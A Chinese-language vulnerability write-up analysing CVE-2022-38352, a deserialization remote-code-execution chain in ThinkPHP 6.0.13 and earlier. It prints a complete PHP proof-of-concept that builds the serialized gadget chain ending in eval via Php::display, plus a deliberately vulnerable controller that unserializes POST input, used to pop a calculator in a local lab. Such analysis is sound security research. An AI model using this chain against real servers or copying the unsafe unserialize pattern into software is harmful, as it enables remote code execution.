Thinkphp v6.0.13反序列化(CVE-2022-38352)分析
Thinkphp v6.0.13反序列化rce漏洞(CVE-2022-38352)分析
一、漏洞介绍
Thinkphp 6.0.13版本存在反序列化漏洞,攻击者可以通过组件League\Flysystem\Cached\Storage\Psr6Cache包含反序列化漏洞
目前的Thinkphp6.1.0以上已经将filesystem移除了 因为此处存在好多条反序列化漏洞
二、漏洞影响版本
Thinkphp <= v6.0.13
三、漏洞环境
利用 composer安装Thinkphp6.0.13:
composer create-project topthink/think=6.0.13 tp6
注:tp6之后只能使用composer安装
这里即使指定了版本。composer默认下载的还是 稳定版本的thinkphp 最终打开是个6.1.3的版本 这个版本的依赖剔除了 League\Flysystem 这是反序列化漏洞的重要一环
因此 这里复现环境就下载了一个打包好的 6.0.8的版本的Thinkphp
四、漏洞分析
poc如下:
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php system("calc"); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(serialize($a));
}
观察可知,最终利用点是在 think\view\driver\Php.php 的 display方法
存在 eval('?>' . $this->content); 命令执行
由于这个框架向上挖麻烦一些,这里我们直接跟着poc 调试一下 看看这条链子调用过程
根据poc可知 反序列化链子入口点在:League\Flysystem\Cached\Storage\Psr6Cache
Psr6Cache类是没有__destruct()方法的
但是它继承了AbstractCache 其父类 的League\Flysystem\Cached\Storage\AbstractCache
的__destruct()
方法:
$this->autosave
可控,因此调用Psr6Cache类的save()方法
public function save(){
$item = $this->pool->getItem($this->key);
$item->set($this->getForStorage());
$item->expiresAfter($this->expire);
$this->pool->save($item);
}
当调用一个未定义或不可访问方法时, __call() 方法将被调用
$this->pool可控,这里可以通过其中$this->pool->getItem($this->key); 调用任意类的__call()
方法
这里我们用到的是 think\log\Channel
类的__call()
方法:
Channel类不具有 getItem()方法,因此 给$this->pool 赋值 Channel类对象,可以出发其 __call()魔术方法
public function log($level, $message, array $context = []){
$this->record($message, $level, $context);
}
public function __call($method, $parameters){
$this->log($method, ...$parameters);
}
Channel::__call() 中调用了 log()方法,而log()又调用了 record()方法
我们跟进查看一下 Channel::record() 方法的代码实现
public function record($msg, string $type = 'info', array $context = [], bool $lazy = true){
if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))){
return $this;
}
if (is_string($msg) && !empty($context)) {
$replace = [];
foreach ($context as $key => $val) {
$replace['{' . $key . '}'] = $val;
}
$msg = strtr($msg, $replace);
}
if (!empty($msg) || 0 === $msg) {
$this->log[$type][] = $msg;
if ($this->event) {
$this->event->trigger(new LogRecord($type, $msg));
}
}
if (!$this->lazy || !$lazy) {
$this->save();
}
return $this;
}
参数都可控 前三个判断都可以过 这里要利用的是第四个if判断
$lazy默认是true不可控,但可以通过控制$this->lazy
参数为 false 即可调用 Channel::save()方法:
继续跟进 查看一下 Channel::save()方法 的代码实现
public function save(): bool{
$log = $this->log;
if ($this->event) {
$event = new LogWrite($this->name, $log);
$this->event->trigger($event);
$log = $event->log;
}
if ($this->logger->save($log)) {
$this->clear();
return true;
}
return false;
}
其中 $this->logger
可控 因此我们可以调用任意类的save()方法
继续找可利用的,哪个类的save()方法可以利用呢?
我们找到了 think\log\driver\Socket
类的save()方法:
该方法存在 invoke()方法,类似于java里的反射,可以利用 调用任意类的任意方法
下面就想办法 怎么执行到此处
首先是要绕过第一个判断,if (!$this->check())
,需要check()方法返回true,check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证
跟进check()方法看看:
这里控制
- $this->clientArg['tabid'] = 1
- $this->config['force_client_ids'] 为 1
- $this->config['allow_client_ids'] 为空
即可使 Socket::check() 返回true
回到 Socket::check()
继续看第二个判断,需要满足
- $this->config['debug'] = true 开启debug
- $this->app->exists('request') 返回 true
即可控制 $currentUri 的值
第二个条件是重点,$this->app 应该为 think\App
类实例
我们跟进查看一下 exists()方法的代码实现:
think\App
不存在exists()方法 因此会继承其父类 think\Container
中的 exists()方法
传入的$abstract
参数是request,调用getAlias()方法。这个方法作用为:根据别名获取真实类名,所以这个函数的返回的是think\Request
。然后 return isset($this->instances[$abstract]);
因此 isset($this->instances[$abstract])
需要为 true,即给$this->instances
赋值为['think\Request'=>new Request()]
所以给$this->app
赋值为think\APP
类,$this->app->instances = ['think\Request'=>new Request()];
然后继续向下 进入if语句里:
if ($this->app->exists('request')) {
$currentUri = $this->app->request->url(true);
}
执行 $this->app->request->url(true)
,调用 request 类的url()方法,形参$complete 为true
然后获取 request 实例对象的 url 属性的值(可控),赋值给$url 因为传入的$complete参数为true,所以会调用domain()方法,并将domain()方法返回结果 (http://) 和$url拼接起来 作为返回结果赋值 $currentUri
然后进入第三个if判断,给$this->config['format_head']赋值,即可执行Container类的invoke方法:
if (!empty($this->config['format_head'])) {
try {
$currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
} catch (NotFoundExceptionInterface $notFoundException) {
// Ignore exception
}
}
跟进invoke()方法,执行第三个return语句
继续跟进 Container类的invokeMethod()方法
其中
- $class和$method 是我们控制的
$this->config['format_head']
变量中的内容, - $vars是$currentUri变量中的内容,而$currentUri变量 是 前面提到的Request类的url()方法赋值的。该方法 return时 拼接时传入的
$this->url
部分是我们可控的 控制$this->url
的值为恶意代码即可
类、类的方法、传入的参数 这三个值我们都可控,因此可以调用 任意类的任意函数 执行自己想要的操作
因此、现在寻找一个可利用的类和方法即可
而我们前面提到了:
think\view\driver\Php.php
类的 display()方法 里 存在 eval()函数
eval()函数的参数为 '?>' 拼接 函数参数传入的$content的值
调用 Php->display("<?php 恶意代码;?>")
即可实现 rce
即:
- Socket类:$this->config['format_head'] = [new \think\view\driver\Php,'display']
- Request类:$this->url =
'<?php system(\'calc\'); exit(); ?>';
最终编写 poc 如下:
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?php system("calc"); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => [],
'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
];
$this->app = new \think\App();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}
五、漏洞复现
本地 php_study_pro 开个ngnix环境
手动在 app/controller/Index.php 添加一个反序列化点
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index(){
if($_POST["a"]){
unserialize(base64_decode($_POST["a"]));
}
return "hello";
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
把poc 生成的payload 打一下
成功弹出计算器
这个反序列化漏洞,主要点集中在在 Socket类 的变量控制、php的反射 以及 Php类中的display方法利用
参考: